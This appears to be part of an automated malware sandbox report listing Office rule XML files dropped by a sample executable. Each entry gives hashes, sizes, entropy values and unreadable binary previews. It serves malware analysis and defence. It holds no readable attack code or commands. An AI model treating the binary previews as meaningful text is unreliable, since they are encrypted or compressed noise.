SHA-512:	9C37C72F1970BFC3A2292F834958222A4544FC4DCBCC9743463BF79B7FA1ED2666988CA576B238F2B67425E1E4C71AB24D95663521230E8526A64DC55C822D1F
Malicious:	false
Preview:	<?xml.+.4.8..YK...7.Bt:....i.....\.[7.].....4.ZT.Bg8..Ec.:f...O..gb...f....>Q..).9..v...1#.Et.?..2..Lp..J..u...?.'..f.......U..}...c...tie.xrY..P..q..A.P.....8.16].Q.#.......N....s1$V.L.&N.u.L..Q....<F.Q.....K.f:......P...,..TU]......%>.<R\|...m.(4,0<V:.C...3..P..Zt..............u.....D}&...M7. .....\|....5g.w...5.F...........B.......;.q..7......YS.?..6.a.9.........c.T..~\|..j.I..o4yTrH..Q.-.2.$A......_f..3Y...y.....3..ca[.}M{....T.>. .=....M.........Cb.xB....u......+....T..'..=..].h...SW.r.j...H..5U.8..'.._..%9......SJK7t..+.....s.D.oj.n.x...Y;&N.[^....7...U....A...[5wM.....<..Jp..vMj.5V...._.. ..4k..L..4'.@..X..a..i......ni.>..6}.v...3.x....k\|x..._.5E&.&##.)?..\|FY......X.e.g.G..Wf...o......M..........W.....l..q.w.O):<.:..i...yY.\.p.v.{.._...........~...jo.Xo.P.B$.}..r.y.rM ..J.k._,a?...n...@.A....\PY...[.wt...\|WI.R....BM9...=\..C.f~..0fN`.@.]B+B.H..a.S"....=L.....S75.../..$.....W..z+..-{._...`.y..5..\..m...#...#k....e.T8....y..C.t........v..H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.919773538524485
Encrypted:	false
SSDEEP:	48:+nweiTIMRZB1HXmce1cJibpD0WRD0wfFsSX4lBhCEVQqnx4OHpkxvfD:aweijRZDmcwFpD0WRDb+64zCFOyTxz
MD5:	78847DC48A0678F53E9236CDE0052C4A
SHA1:	32780AF4BB78A5FD6560977A6DF4E05E625B267F
SHA-256:	1AB8E042F79B83560333C094BE539B3904D4412AE7F9225C7EF836C837494D6C
SHA-512:	3150047CBCCC664715D6606FD8AE66DC93C123EE7B26C9257586EF8F8E2DAEB4BFF9DA59404C8ACE968D80CD6A4D5EA0159A41A442A029351EBCD84547B2A40F
Malicious:	false
Preview:	<?xml.m.. nt...p.m..k.d....>......j..32.......D'.P(.2:.%f...........l...S....%....'..WK..H.hD5.\|...IVn.5y.v34]0$...8.3O-0O...Z.x_r....Qb.....(...9..0.._^?.:L.....y.)...;R$h....n........&.b&Y1...m.SI.LH....v2...":@.]..K..Pt..z.[.z.,.D9\.N.........N........w...Q.\..LlW.!_Mky.4\..)Xa...6..V....cC........}st...aII...........U.....Y;.6@.c.A)P.?U..%.O..0l..,M.1o...&.X......{.^./.Mu....m.uy6...^..ix..=x....8.*.>...9..R.....h..?.)..{..8..;?k..C,T.u..^'.\|XF.73..+#.2...d..7.$-.0w...FR....:.o.....>.1OAy..8.b..V..'...2..?5V!.....S.....#a...L....Kk....L..U.....}M`...6.EE.U...x..9.v..ol..}..{..4...jM...X6.6.........H.........?...W.5...jW...........wy..CMg..'~..e.:)...z.4i.,~..#.j<lbEf...G...q.....-...kR.....x.l0....Z.cu.r...5.6~.......v.......T.m..o.b...m.k..e.A..8..v.[.}..AGG3....l.R...}A.&d`;..^.....=pX..Z.6S.0....9...PP..U[.J...:h.G...]+A..B........f..Nq...m.......j.q..D..........u.h..,...\|.$.4.T..Zs.f8.f......>................8.)ei4....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.840066639568991
Encrypted:	false
SSDEEP:	24:CSzcyspoK7C8kqLKZ1qLXEQK8fBQYsaOpG5fAjebD:gysFmdhoXvK8fBQYniG52cD
MD5:	1CB0AB4C37BFC210B1287A8DE5DA7D4F
SHA1:	0DDAF0D2AB076C7EAF585A52EE5B3FF90E7E35F5
SHA-256:	A704137841EAF30B4F1B51EF63FF7E3E0B43C4C3A634424765F14D7B08497E76
SHA-512:	B66E17010A10CBD6EE8F921982026F27CFD296FC710F6E9CC43468B3DF5CFAF8C3CB66A10EA8F1372A91DB87CAD3C89032CDAC1590D9ED9768E5D669FE0F7CBB
Malicious:	false
Preview:	<?xml......7...7..e?.^...:.{.Rit.[PG"'..."G:.V.\?.X...+A....4Z..?e.....j..x#[..@=...u+}..qtN.Y...^.!f'.T..b..W..u.I...i.TY......GsK....GC.....F.y3.9.u...h/Q...yvz..L...EWd\N.^./x.....9...W.1...i..A..16F....e]z./.,K...a.G...w..Dy...8.(...[...$.{1._R..H..~..@Rl.6...<..N.I..R^b..J....1..a.[..+.c......9...@....`~.V.....+s[..3p.V8.?...b..'T&8.+..G9...ZX.L.M....o..7~.........v.......V...t..U.h.Z\|....7EO..u...1........2.`.d....3..Ji...]....S...........R.~U-.B.>......K2Z....m.....Geq9....v.[...-.....;.\\|..Ir..). c......O'....G.d..\.PWM....F.K..$....,..)........=./..f.J...h..'h[.Q.........8h.".t.).x8a....\.qhi.].T..?.6-.C......a.a..3.........I......x..utE.s..j..+..!J>...W-......z9>.^..td$.WS7.`..x..U..(l.g.2}..!.j...e).;.....^a.^A..d..n#..).&_d.L.B.i.o.p....z....E...B......J.n.2.$..;:..o....../..B.KT..Lxz...Q..r.m.y_.a..9K..Z.~l..\2k+...........A............#.c......p...;.N.....q...FaI9....a....m~gn?A..q.q....>..9.....56.....'BX.}v...5G...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.698114838083186
Encrypted:	false
SSDEEP:	12:Jefyk9jwzLkunmj01fH6004OTAwLHw0X5zbTcdZUjP0YhJp89IG1+cii9a:Jey99LFZlZ0JAcjx9bD
MD5:	F30AA1AFEF758BDF874EDB8558B397CA
SHA1:	3C1D156F9F7037F5B3FAE2C51B0702B5472B36FE
SHA-256:	5BB2EB1468695F0E1C3C4389BB44AD4A0599055F0DD26E3BC8B93AFA8B1111D7
SHA-512:	8A78CB1CC11E906F84BA4A9743E1BA218607C96717437194B89E04ACEB0EFD46F312558F2E2579F0EEC1ED1E718B714C86535226A003FDEDD599C3BC2DDC5470
Malicious:	false
Preview:	<?xml,....$x.Rl$..........5.9.f..G..e...Z......,..2.%.Q.6-2.M.w^..L5..%.c!\...k.x..s......1qSS5. .}!9.E.....<.ha.L._\|.r..]..C.9W...Y........\|......yM...e..-...\|..Ae..~...`....X.....zo..f.Y.."..Gz...s.c.g.l....4.9L.<Gv.y.`.1Q...C.c...}.9..v..8...M..O../..j5...Z.\....Q.K..l.gL.-Ec..:.......\....x...x.X0_U...X..D(...lB.;.}..%1}.eu......M..'..i.Vo.$...b...R!.s.....L......D^W'.Pc(v.)..........V}.C..j....n.R......H.....>g....^...u...3. ..BA$......h..)>.V 0.]z...y....P....Ka.1..3.`QZ-^F1....}..:.O..,)..o....~..Q.6H....5..c...]u..p....8{...0......ycgX.{..:s"5..]6Y4...q..._..UT......1o...G.gHO.%.1wu..U[O;je....ebH.L3X...$!..wu.*.........6"...Dl.'...U..3.h........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.713461260762181
Encrypted:	false
SSDEEP:	24:bz7m8vtr/c6w/UBB5400ImcZA1J6B6DZxatbD:C8Vr/WUlmsA1J64DiND
MD5:	2746A73513BD6B7F3F00F4A1AE7FD1BF
SHA1:	3F55E5F6C9573D63869D98B699A0F9F518846BB0
SHA-256:	67AD2950EFDA83568D9A6F60ABDAC734D16A22394CD6EDC2C31C1ABA1B74DE61
SHA-512:	FFA4A5C4A87FAF1EB99EF7BB9A86B5ED77C5641FCF0BD05C0E646F7593638A9C63905E91F66C0BC6AACEF937C3631BCF5E68E367BEFCBE9D21F8A39F235E8A7E
Malicious:	false
Preview:	<?xmlh)...J...6;...].....W$.-.?F).wh1.."..w..0....I.p..G....M.p.]..D.z..1).........g3.o.T.s.w.O..c8I?+.a<%\C..$(......P./T......H....,.u.3.....f.....+$.v...9.;.... .......o..e{.k..k.n......)A.;....^.U.6...1..>.....x....;?....Uc.OX.5._..g)....%....ex......5Zu~._....5..!{N.+7...'d..C.... w.b...=&.[..[..X..M.&em..iM.rX)H.......)D....-Z....Y.i.].a.R.&r.D.B$.2.~..#QO..~G}..Q.M....vU......H...N;x.R...&.+>(._..../......z..U._.m..B..<XF?.u0.E?...1..F...ml......2...T.4$.\ddh-5......Wj.X..&T... pq..j.=.m.t3.uo)...........U....m.f.6[J.4......h.t.....$V..a="...s.To.......Q.."O..c....vT...Y.L.x........E....{....0S...J...q..k.........M.c.!.....}....ByX.J.4......n...(..N..b..n...z..-8.s..5..32.[...%.;H.....<x..ik....X.+.ju.U..HB.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.921649564872578
Encrypted:	false
SSDEEP:	48:AL5Un3rfHfLF4LJXbuLWnOovAuJqnVukGHJr3aUAEEaxhTFjBmq+zD:AL5Cf/85Kdn7Yf1i
MD5:	10F96C54836B451BA6AA47800D58C836
SHA1:	4DF95311C355FF9194A0D2CA04B6A1D3D03EF4E5
SHA-256:	B74154290BA37A75999AE8F96143CBA7EC392D79E4C4650E08F857A6903E5671
SHA-512:	3AA27846F6033779ECAE46888004EBEA98BEA9D858E65BBE099A290FD92B3949A36069B8C82ADC046EC16B1728934F533DE0B03FA687B7E709BC949EF1E3A132
Malicious:	false
Preview:	<?xml.wG_."W.r~............@O.a(..C.%.....U..._...N..m."....$..;.!..R..5%....&..w.12-.[b...k2.Z...u.....v.&?.D..k..E.>..y.[.W.........~U.F..Z.O.^ZZ.u."Yc.K..P.......D....>...Q%...!.:..HIK.~...k...a.......I.~...!../.;Y..\|.&..B....<..\|>;.U..!]...8H.5..XZ..z.."\.<R..ri.UZ.4...HL.m.\.s.......Fj"V.7G...5..~w..d(...z..^7t.\/-S.....e .....0.....,...A.X9MP.7^..;.O$L......c\f...1..+.U.... .i..k.VM.(m....&.X._ ....+".....cR.iL..@H-]E.L.;..5......P...+..K}.8.%Gz......;......f.[{\|.-..A.I....T..d...DU.P%..w..k..P.d.+...h. ..e...l...`l...T........t..7m.....1......#(...l.....[.j3......_w>p.ij.....R.a.......>.W}-.c!...a.>..t.L...p..6.....G....).`...j.&..oB.j..3..3.jF....W."C.{....Z.....!.*)..d1b....y.Z.!.A.#3.....nu....to:Sr..cK.2J.[..J(.^.a...u.....>d..$u..;......,].g.....o....!.u.5a.H..y\.t.k.#....U...C...{.:...@^YUB.u2%.J...L, m.K.j;9..w.-&.%v7.S.KM........P3..g..../e`4d..~......ye_.....Sq&...z7`!l......l...~.a.oZ<c'.Y......:[j.b<....z n..i.n8.j(e:}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.968806608934563
Encrypted:	false
SSDEEP:	96:usxkbwsJpKPUHojvh9mjTwz8Yr+sa5mkDTP1pv9Rru893/+nIzXHuqf+8:ursIpKC0rmj0fFaokHP1LRzJ+nIzXOq7
MD5:	F488FA29F3BCF56223B2F20C89D4ECE5
SHA1:	F52EA3AE84273EAB4C80616595E406B1BDE75A34
SHA-256:	01E94A1DBE3E68D72D953A34ADEBD39C7FC2C9EA74C352C1B19AA6E33BDD275C
SHA-512:	A17D51F1B7B1D3E8EE760F8162CC1FDCA943382A6C86392AFA3D9F009FE4EE21B95DF1D9CBD1869B026B3B634EE66290C37FDCD66491A6DB471E8727F8F41961
Malicious:	false
Preview:	<?xml..>.{..m....}....o..O.!..pEMLS.i.81Gu.B.Tr?D.L...&fr+....vh...wn+(.K.u.....8..5....H...CSU.m`5m4'-/.....ghI.28.A...0.J.ql.....I.6...z...Fk.L..#..A/r.j.b('>5.....m.j.T......C......e.{.~G\|.`...l.......I5...0O.h3...7k.0.=....`.......;c.&.a..Z^in..z.4w.n.Fj......>.v....^.zI.HK..g`..0..]..;.....Y(.UT.pKb(.U,x....%w....e.n...7...=....HS..wb."...i....',/...91......@....%.........9B...Se..R..U..V_.Nd.....s.....(._M.$.c.}..I.,x....'...+.L..p.#..y.Yq..F4...=..........%.\|...@..:..sN..xP.{.._....DL).S.T2..C....^Y..M..>....G...4...eL....A.K.........l.rXP.t..^.l>............l.....E.H".[...'...Y...3...T.W..b\.y.....\&....o.)....E3. .3.?.j<W..x..q.....D.._.i(........8"...rl.w....U....?{...[...2......O.j...MH...Y.......[....i...,....i.u^_.....J..Y5..1.h_....P~R.....:.O.O..@.r......f...F.4.#.5j..qDG.......m...z......%.....VG.{5.Y.\|,l..eN..N....cdW...5B~.L..w.^....N.*........uO.<9T..qi....J....k....c.>..{..n=4.IY.2..h......]...Y..k..kl.....o..M_S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.877611005507679
Encrypted:	false
SSDEEP:	24:S+qt5DYdEtOkaeqyju1nONytLCJLv7PuKbtFPgjBQnOMalpkK9L59GLcMxPoj7lU:S1t5DwEtOEmnO7Lv72K5ArM/K9L5AwMR
MD5:	B3F17916E3EE48DF2A6328128F7D4B11
SHA1:	4C98E1BB75C1C145D3E273142C372A12A5C3EE7F
SHA-256:	565E1DC2D0398DFBD872CF543EF29FAF3BBBB44C3648A2D208163E1F4B4301F7
SHA-512:	CA827D16AEC44CF27AAE238D79DE6E813A384727B0C0BCDFD8E8A01E5C5C233CDB8859E6078DB26A54917F35BB012ADD41216C6110F557EB99A9C7F02EBC79DE
Malicious:	false
Preview:	<?xml...:..C....W\...p.^h....H.OH..bO.-Z..../...`.&....X.>}.2....8l..{..{%.y...B^\..d..o..`N.;.........i_b...w\|...T..^...J..w.q.h.<k.+.....#.'5Tl...w~.B~z....vN...2J.w.r.'.(.P.@..+.V...$.ws..\|.8.C..:d.\|C...h.......id../.=E..V..".../.7.2..G.K.............9....7.Ctv\I.>.=.G.?.;.T.f..8.&.-...<..v...s...p`b...R..`..`....(....L....F..8>oY.b..Vzl...\|G....O+.g..........F....BH..\|...w..6apy...u..'.....Q..OP.K.[..4n..+8nf[..2#...c.Ir..L....aAtyr.C..l.d.Y8.(...<4.2...2.Y........C".'=/.....Opc5.g.ec...J.*..p...7..K..g.+....amu...D)...3<_......j.[.LrB..o..=._...-\|...(....q....>...(x.L..N3+.N+..n..K..W.%..}..F'....=..G..-t...L.8H\|nb..........CE.D2.1..Q..].O.~..>]:./..s...U".'..".G.o.........U.E..O..RX8..5U....;=c.F.{8:.D...K......[R\|.0A.K.C.VJ\.........n...>..0.,..Yn(.q("..s.>t.\|.s.y..Z.....H=..?%.}.....ym.+......n..Z.=...;.o!F.=......1...A..........@}....<...X..V..j1C..g.D[.H...W......<...Z_<.......'.M....7.u...B..5.\...mz.dE..=.B.Q^B.....R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.841299192184942
Encrypted:	false
SSDEEP:	24:LzcUflk3dPNeD0+TuUbiFXtWL13YIlyXN2Y2guojbD:LzcUflktVeDV9R3YIlyd7rD
MD5:	27B6E9BD5168AADDC8831B23FD595FA7
SHA1:	16D8D185D7C2A3D49FCF816E4324BA989E5977BB
SHA-256:	F85CA3D6CC2F27FE71DD2FDB6E1E850AD7D9C3C680835C65973C7E14D2ADF70A
SHA-512:	5D2AC7143AD296A180D504F937E343538DF402B3FE2F71202B72C7C61D1A3A8B03D49F8115DE37FF49E02DDE09490CE6AAF162A7F5BE56E3DD7C01A187557FB1
Malicious:	false
Preview:	<?xml..:.Q7...x..O.T.+...u........`..qh.$..........x..._...C..h.......R...g..]..7.$.)..b....u.k......{...5..C6A.]....y....z..F'..pa...z..!)R>..M_=2..v{..@....E..E.K..,.$.....p.pU~..Q.M..D5v.ebc.I......J.Z(.J:C..1}.m0$.w.9d-..73....lG]gY...0.6....5..Bp....M.'.+.C..\..a.&.t.B.K-..P....O-.<.R.O....L0~......?r...$M...E..R. ...N...o..7!b.O._{..........Wf..V..^...v..]...l.p...D.....no.J.....de-...E.'.........4:..^.b.~.?H..6....(k.... "hx.....`X.'.JJ&...{.x..(.....Tmc...S....t..... .e.....c..~,S..g....,.....q}..I...?..4..+^g...#.K..#}.bZ(.H4.{.".RIg....;%7[.....{..M....l..j.m....Q.....q.A.U....WP>CR-6..7.....r...\......f"a......s...{>.......k.Yq..z(rF......#.I.m.t;4._.H.......).w..ub.v.A..f..w.5.t..e. .....l]._`....2....e...:.J..84.+.~..........................lq..H.T..$..s.x1.\|..1....d).V..{........d..>:j-fv...78N-. ...\cY...01..x.....Kd.....S.}.u.P.M..{........c....I..b.........vfs...C...n.'.cf]..m..w.b........N.\......4&.'z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370007v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.954979103570398
Encrypted:	false
SSDEEP:	96:W0gcx4TE5D+npTOvPGheg+iersGRqks0jJvHu:daMwcPUe5Rqks0jhO
MD5:	503C0A4BE9D567300B1EF72139BE80D7
SHA1:	82E4DD8D87728FD0B2DEBB3E298081F81EF54886
SHA-256:	1E7F7F95C03D3488C1B6D59300CE21A2377F95332C7B47209E8A0355A9F5C284
SHA-512:	69F0E21169580CD8160AB3EAD48A3721FC377878C1708C16F616D8FF6751F12428A6415D8759C071F80382CC65678A52048038EAA3171757C296B41FF3B6C22E
Malicious:	false
Preview:	<?xml{..5.$...,...y..'.....0.k.."~#[....K@.%.Y..6c..9.:...TQ.....X..w{.{N....)Q........M..6 ..Y.....~...62,.9Qu....v.Fd$S92_a..&...`.[..<r.9....+..Bo...C.%...G.x.]..U.4[}..u....JJ%toc.....Gf.v....N^X.8.."z....RF.......`..<_?......i~..u<J..&.Y\|..P..g.U.n...}..?.w.=RT....1B.....S...z..[.12.?Y......+..k..h........`<l...#VS......,.rS.. .9..q...3..zUe(.6.^...T...l...3...(.<....3.i'..K.a4.....yzY.y..G..4...L8I.m...{v....#..g!....V.......+l_c@!=.C.......J....g....d...E0:.?...r.\|.e>..^....s3.s..[.&.3n5...jh..A/.7M.Z...p.XD.o.+.:Z...K.5.$.....-N..H.9v..fA_.Xj>.p.M.N....-+..!i..^....../..I].H.\,. ../......=0...'O....^....!4..L.2.$.W...G....m5L.!.#..Z.Q..(...R..9$}.'B..`$9.X.3.....[....q.;.......d..H...H3s......pw.9..i.......W.0H..1.....(...An.zr.....i..Ix..]l..._.9t..m.)B.....m.,.........pHFpu.....m...Q..H.E....s.d u.Y..0.........\5.f.!.5C...\...J...d..?... 9...../.H.GA.oD.....$..d.l.\......kW......K..p.3.)...">Z...-..CYE..G.]..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370009v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	7.769664898218394
Encrypted:	false
SSDEEP:	24:HRBFWppEKv1L1tKMwbWd4kCJkYv0gSXy3+Z1qnbD:HRDepEe1tCHkcHayOZ4bD
MD5:	2099CACDACE636023587766207AB6EAB
SHA1:	57B24C577FD8911F180761C6B477A79723860FA3
SHA-256:	B57488B516C4D42149EB25C2D91F49161E0AEF2B5B5BAFE69AA5862C950FBB51
SHA-512:	33E33AE4AC10120F730E83B81723FAEB0B479FAED128503865235583C41CEE1CD96226710ACF498CB84C8A8DD065F4E4AD4DA49E08F5D8E160AECD72FC7FBA6C
Malicious:	false
Preview:	<?xmlR>-;Sj\p...,....C=...#...%M:6...3..n...C.;#..~j.$..(.PK.....- .....Vo.N.m(He..^+O....f6....CD-"Fq.2f?...!.&....Y.z...e.....Rv...."B..<N.i..U..D4..`G.....]W......RFAB......f.....+...+.@.. ..?....X..Ij..V..f.).6vr#d......#S.-..+.v..=...hl...Nr.i(5`.Z.9F]....FT....Z.6.]%t.7.:Kys.[.3.7k.q)Y.u4.^.->.....&.2v.P#..J...M$K...QX....^'.}$X.....X...@..c.M.....y.qQY.C...A....Z.G.#....bmf;..O.U."b...Q..Nx..%.<2..k.9....Kmh..k. ....F...M.lt.U1......>..i..!.m-..p.R..+...C.......]a..8..~#a\0.....3.xK.M.ye.#..;.Gzlc....l.n .8..4c".c.;.v..A......a.T..t$L.6>....-.d@.%...y....d..g8..BQ....$.....3..V=...2..;b.s...s...B....=.h.k@.h...0.z..4......\|.p/v.l.YZ..1uc8nQ.~s.!..}=..~.a..Bb.H.F.....u.$A...n.fN.]'.5...$...92.R.Na>..d....E).C....RG=...\|Pt.. d..@.#.'3.../q. ....F...v....C.....J.A=e<...h..TC.zVo.#..L..1......^..E....,..LM_J..v...2'%uO.4..)..o?.G..v.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370011v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	7.818629791147155
Encrypted:	false
SSDEEP:	24:8GtH33eUlM0hZjeMH2Yt6TG7pF/E+5zTRU+KOZMZSZzCbD:v93hJU7Yt5VVE+5593mZSZMD
MD5:	7376AC9C31186B77F67CA625AECA841F
SHA1:	B4A1C2A8ED47B9EB6522DB53A02EF614F5CA22E4
SHA-256:	F0C4CABCC976E4788A595E0496A903AA3720468A0AD2FA760872BF3223A263A3
SHA-512:	38DFABF22EF0162699F10CF05C3B8B0BF7751BCE99FF8048397DAC82F53587961033E93AA10164DA12E3424F6D5B86BF501F3E36D4A967712CB4D87799FD7EBF
Malicious:	false
Preview:	<?xmlW.....T.. ..-%...Me.4..Z...q.z;]..........Qk.F..*./?.....E...{.......i.y.......N...4...,..oJ"/.tM....._w2.,....._2......z.L<.d.&.?.7x?./.?.\|...{..L..U..:$./$.3/.....u...'...O..s...}..`.../..?..r.A.HTA..Q.B.#@...NW.w.2U.;K..9..@X...P.....C....J......bH.l!..b.mq...Y$...92.....M..f8.k...PJ...9.."... ).k@..NN.FH...jQ..P(\y.-...'..5.kGIA(..J...X)U..P.W.oT.+....J.4..2.<\|.OA.....^._U(B/.[...1......O.!)G.K....J....'&"=A.b..0m8".....&.sC%C......:....t...T......L.N.......t.))...u...eKt]%...!.Ks.4.].7.bS-8R.g.h.H..c...{..w...../.ur.J7..h./.B...%.0.)...z...2.P\|..3F,.>.@...5..].m..x.S.$....o..........L.....b.g-d.~.V...</...:.8......cK.3.'Fv..t.t.}.fF.9.c.&..........'P.S.........ff...=....2..K.*p.8._.Xi.)...."'.....<.....B?..M..Q.1.."$nyE$,V.....JW.VC.I.u..ok.yC.!KuV.>....UII.WW.4.u):..q.&....X..U....xv..@mD..E....:p.U..?F.-...../..~..T...T.....\|....i;.......H....b..=U.h.P.KU."u.1....A.C;.O............g} ..f.....D(..r..\...8...y..25..M7N.%d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370012v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	732
Entropy (8bit):	7.720455938867548
Encrypted:	false
SSDEEP:	12:EEzTU+eiJ+GYqWWQrfAHWxIEzhou/1EEIuW5su1azfPGqmOx564nsBeBsOCpz1+X:/zTHe6jQb5zzyhuoD1GPG0n64sCs5ObD
MD5:	4D849BF427942770705A190A65A3B5B9
SHA1:	C7FB39451547A7AA5B21E1C5065668598EB0159F
SHA-256:	EA937CC540F15794423779FACD94E452A18B5B03FC63AC565FDC1CDBD2DA731D
SHA-512:	11760294888448E375D7B2450DE8DB3EF550B677ADB4220BE7F9E6FE5543B93619D85CC383432ADF6E2266A43D34E488D18F3E4A73F395B2104B0355F0462934
Malicious:	false
Preview:	<?xmly.."...........l...\a....o..N..-%y=\......A............+.`.U.5m. i~.}.Z.S...}..Z....Ku...c'>l.i.DA 4jV/..B..d..(.].."......... .........de5A.Np.7.9..\|ds....&S.6.z../..)4...Y..se.G.d....F..m...K.$..(<..Ue},.....bPW.)..>..i....hHa...%~v.?]oP....s<u......$...-...e..^../5..R...q....u..-a.M`..+...b.t.t.eH.wV.p....f..c1.&@.Q...m.jP..30.X/F..._.\P...3.........H'X.....B..U.K.`.VRM..i..;<..h..x5. .`#..&..P.......1k\|.Q....N..MB\%...LV.=.;i.f.1y j.b.^~..a.Dp.[isj.$&...E5.f8.........#...O....O.}.^.F.DN../B.../gY&.GO.......k...f.H.....A....u....T.V..k..:.[.<I.4.Krx^"^.Z....^.L\|..tz...v.C52..3.?.......N.R.u....c.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390004v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3616
Entropy (8bit):	7.94433268695086
Encrypted:	false
SSDEEP:	48:kswjePEcpwYjt685mcIC8zWp2A45Cqt7MbCx8TB6Vl/t61LaTz7iBZ1QIlQPpNEI:kEccpwYZL5mcIC8ql4oqtxVlgpqoQ/u2
MD5:	15721B3650A130F7858E0D07A6424F09
SHA1:	E7C93C1D5D84EBAC490B2535D7D61577AE442F36
SHA-256:	2C2AF05D635C89636D4D70B947498FB8A592CA5443299ACF8A3BC1D17F6657D8
SHA-512:	F62845DF12BA3F0B56D06ACF83AB39C5A5BF1428A8DB655D09B6417B4A29928480F073E3B2019A1F90861E7B80AE972E920795F071C800261912F0C9C1C94798
Malicious:	false
Preview:	<?xml..2.A.;..K.. {..P.))..R!/....'...0.Mg.m..M.9..!0...HJ......z>..\l].O...iW..n~l....z>..'d..%.....R..W.a-.B.jH..).....{.+.+....AL..pZ.2....v..$r_:'H..".$UQ)...+.@..\\|.5...9;.5..P.^R..M&.V$.B.^..F.0.f..q...,.8<.......$rg....;..(....a.$.......v..Bv.;.K..O.E....$.H.0.C.LvA....}-..I....'...#c.....CK..K.._..m...S..`.o.K" .j..]?&......\.c\|*.baM.erQ.(.L.w.. .mz.".b .N..Ny..D[M.....C.7..h..t^...S./>../R........O...7...B....a.-.W...f..$.o.=.....=w-..PH.1E..F.KeY..j)7:..._%.b.}...}.19.#.u.....Z...n..4r..LW...&.....C.P.n...Bb.....r.5OJ..y.T....m..?D...P.........H..GIbI.7.%.j.Q...]..35..v.E.....W...N.1&1./T.5...B....f).av6..r..R..=O%.#.N....wQ.....Mh.w.....EA..iY..l/.!.x.Q.\|S...a.qp..V.o.g..)..-....U.....b-.O.......:..0...R...^..=R..{.......o[T..[...7............9V.x.....C.5....&S6.l-.2.8.......?.\|w.!x./..5.......&u..<...zR.S.:....Z.z.v.J.8=.....Y<C.}b...u....!..E... ....,K.....j1...C.I.B.?.O..m.t....s>I4......:\|...(...p...y....u..'...E.......{.X..O.I.(..9..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule390005v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	783
Entropy (8bit):	7.695874155938824
Encrypted:	false
SSDEEP:	24:4Re84UjEF5mZBOiw0EjhJcBjsi5yn4AwXH7UbD:LUjE2nOLjsB42y4dCD
MD5:	F6405D0370AE0E996806238E896B893B
SHA1:	4B7FF0AC21BCD62E27FA2D373EC1EA11E8EDCA4E
SHA-256:	109B2616AA623562242469B82464C9D1130185E167CF298E84085A5023117748
SHA-512:	35F067B5E7044539AD3481AE58329B43EBDBDDCF840BD35A129A0B562C744EF38B8DD27932BEE58EB9E7573AF16C90BA1DB2C2265A86BDA275D370F0F030243C
Malicious:	false
